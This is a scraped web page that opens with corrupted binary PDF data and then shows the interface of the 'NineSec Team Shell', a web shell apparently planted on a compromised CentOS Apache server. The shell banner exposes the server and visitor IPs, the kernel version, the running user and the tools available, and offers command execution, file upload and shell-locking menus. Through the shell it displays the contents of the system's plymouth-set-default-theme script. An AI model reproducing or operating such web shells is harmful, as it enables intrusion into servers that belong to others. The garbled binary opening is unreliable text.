%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 10.0.3.46  /  Your IP : 172.70.131.140
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34
System : Linux ukmjuara 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON
Directory (0555) :  /proc/16354/root/sbin/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //proc/16354/root/sbin/plymouth-set-default-theme
#!/bin/bash

set -e

[ -z "$PLYMOUTH_LIBEXECDIR" ] && PLYMOUTH_LIBEXECDIR="/usr/libexec"
[ -z "$PLYMOUTH_DATADIR" ] && PLYMOUTH_DATADIR="/usr/share"
[ -z "$PLYMOUTH_CONFDIR" ] && PLYMOUTH_CONFDIR="/etc/plymouth/"
[ -z "$PLYMOUTH_POLICYDIR" ] && PLYMOUTH_POLICYDIR="/usr/share/plymouth/"
if [ -z "$PLYMOUTH_PLUGIN_PATH" ]; then
    if [ -z "$LIB" ]; then
        PLYMOUTH_PLUGIN_PATH="$(plymouth --get-splash-plugin-path)"
    else
        [ -z "$PLYMOUTH_LIBDIR" ] && PLYMOUTH_LIBDIR="/usr/lib64"
        PLYMOUTH_PLUGIN_PATH=${PLYMOUTH_LIBDIR}/plymouth/
    fi
fi

function usage ()
{
  echo "usage: plymouth-set-default-theme { --list | --reset | <theme-name> [ --rebuild-initrd ] | --help }"
}

function show_help() {
  cat <<EOF
Plymouth theme chooser
$(usage)

  -h, --help             Show this help message
  -l, --list             Show available themes
  -r. --reset            Reset to default theme
  -R, --rebuild-initrd   Rebuild initrd (necessary after changing theme)
  <theme-name>           Name of new theme to use (see --list for available themes)

EOF
}

function list_themes ()
{
        for theme in ${PLYMOUTH_DATADIR}/plymouth/themes/*/*.plymouth; do
                [ -f $theme ] || continue;
                echo "$(basename "$theme" .plymouth)"
        done
}

function read_theme_name_from_file ()
{
        echo $(grep -v '^#' $1 2> /dev/null |
               awk '
                     BEGIN {
                        RS="[[][[:blank:]]*[^[:space:]]+[:blank:]*[]\n]";
                        FS="[=[:space:]]+";
                        OFS="";
                        ORS=""
                     }
                     $1 ~/Theme/ { print $2 }
               ')
}

function get_default_theme ()
{
        THEME_NAME=$(read_theme_name_from_file ${PLYMOUTH_CONFDIR}/plymouthd.conf)
        if [ -z "$THEME_NAME" -o ! -r "${PLYMOUTH_DATADIR}/plymouth/themes/$THEME_NAME/$THEME_NAME.plymouth" ]; then
                THEME_NAME=$(read_theme_name_from_file ${PLYMOUTH_POLICYDIR}/plymouthd.defaults)
        fi

        if [ -z "$THEME_NAME" -o ! -r "${PLYMOUTH_DATADIR}/plymouth/themes/$THEME_NAME/$THEME_NAME.plymouth" \
             -a -L "${PLYMOUTH_DATADIR}/plymouth/themes/default.plymouth" ]; then
                THEME_NAME=$(basename "$(readlink ${PLYMOUTH_DATADIR}/plymouth/themes/default.plymouth)" .plymouth)
        fi
        if [ -z "$THEME_NAME" -o ! -r "${PLYMOUTH_DATADIR}/plymouth/themes/$THEME_NAME/$THEME_NAME.plymouth" ]; then
                THEME_NAME="text"
        fi

        echo $THEME_NAME
}

DO_RESET=0
DO_INITRD_REBUILD=0
DO_LIST=0
DO_HELP=0
THEME_NAME=""
while [ $# -gt 0 ]; do
        case "$1" in

        -l|--list)
                if [ -n "$THEME_NAME" ]; then
                        echo "You can only specify --list or a theme name, not both" > /dev/stderr
                        echo $(usage) > /dev/stderr
                        exit 1
                fi

                if [ $DO_RESET -ne 0 ]; then
                        echo "You can only specify --reset or --list, not both" > /dev/stderr
                        echo $(usage) > /dev/stderr
                        exit 1
                fi

                DO_LIST=1
        ;;

        -R|--rebuild-initrd)
                DO_INITRD_REBUILD=1
        ;;

        -r|--reset|default)
                if [ -n "$THEME_NAME" ]; then
                        echo "You can only specify --reset or a theme name, not both" > /dev/stderr
                        echo $(usage) > /dev/stderr
                        exit 1
                fi

                if [ $DO_LIST -ne 0 ]; then
                        echo "You can only specify --reset or --list, not both" > /dev/stderr
                        echo $(usage) > /dev/stderr
                        exit 1
                fi

                DO_RESET=1
        ;;

        -h|--help)
                DO_HELP=1
        ;;

        *)
                if [ -n "$THEME_NAME" ]; then
                        echo "You can only specify one theme at a time" > /dev/stderr
                        echo $(usage) > /dev/stderr
                        exit 1
                fi

                if [ $DO_RESET -ne 0 ]; then
                        echo "You can only specify --reset or a theme name, not both" > /dev/stderr
                        echo $(usage) > /dev/stderr
                        exit 1
                fi

                if [ $DO_LIST -ne 0 ]; then
                        echo "You can only specify --list or a theme name, not both" > /dev/stderr
                        echo $(usage) > /dev/stderr
                        exit 1
                fi

                THEME_NAME="$1"
        ;;
  esac
  shift
done

if [ $DO_HELP -eq 1 ]; then
        show_help
        exit $?
fi

if [ $DO_LIST -ne 0 ]; then
        list_themes
        exit $?
fi

if [ $DO_RESET -eq 0 ] && [ $DO_INITRD_REBUILD -eq 0 ] && [ -z $THEME_NAME ]; then
        get_default_theme
        exit $?
fi

if [ `id -u` -ne 0 ]; then
        echo "This program must be run as root" > /dev/stderr
        exit 1
fi

if [ $DO_RESET -ne 0 ]; then
        [ -f ${PLYMOUTH_CONFDIR}/plymouthd.conf ] || exit 0
        sed -i -e '/^Theme[[:blank:]]*=.*/d' ${PLYMOUTH_CONFDIR}/plymouthd.conf
        exit $?
fi

if [ ! -e ${PLYMOUTH_DATADIR}/plymouth/themes/${THEME_NAME}/${THEME_NAME}.plymouth ]; then
        echo "${PLYMOUTH_DATADIR}/plymouth/themes/${THEME_NAME}/${THEME_NAME}.plymouth does not exist" > /dev/stderr
        exit 1
fi

MODULE_NAME=$(grep "ModuleName *= *" ${PLYMOUTH_DATADIR}/plymouth/themes/${THEME_NAME}/${THEME_NAME}.plymouth | sed 's/ModuleName *= *//')

if [ ! -e ${PLYMOUTH_PLUGIN_PATH}${MODULE_NAME}.so ]; then
        echo "${PLYMOUTH_PLUGIN_PATH}${MODULE_NAME}.so does not exist" > /dev/stderr
        exit 1
fi

[ -L ${PLYMOUTH_DATADIR}/plymouth/themes/default.plymouth ] && rm -f ${PLYMOUTH_DATADIR}/plymouth/themes/default.plymouth

[ -d ${PLYMOUTH_CONFDIR} ] || mkdir -p ${PLYMOUTH_CONFDIR}
grep -q '^[[]Daemon[]]' ${PLYMOUTH_CONFDIR}/plymouthd.conf 2> /dev/null || echo '[Daemon]' >> ${PLYMOUTH_CONFDIR}/plymouthd.conf
sed -i -e '/^Theme[[:blank:]]*=.*/d' ${PLYMOUTH_CONFDIR}/plymouthd.conf
sed -i -e "s/^\([[]Daemon[]]\)\n*/\1\nTheme=${THEME_NAME}/" ${PLYMOUTH_CONFDIR}/plymouthd.conf

[ $DO_INITRD_REBUILD -ne 0 ] && (${PLYMOUTH_LIBEXECDIR}/plymouth/plymouth-update-initrd)
exit 0

NineSec Team - 2022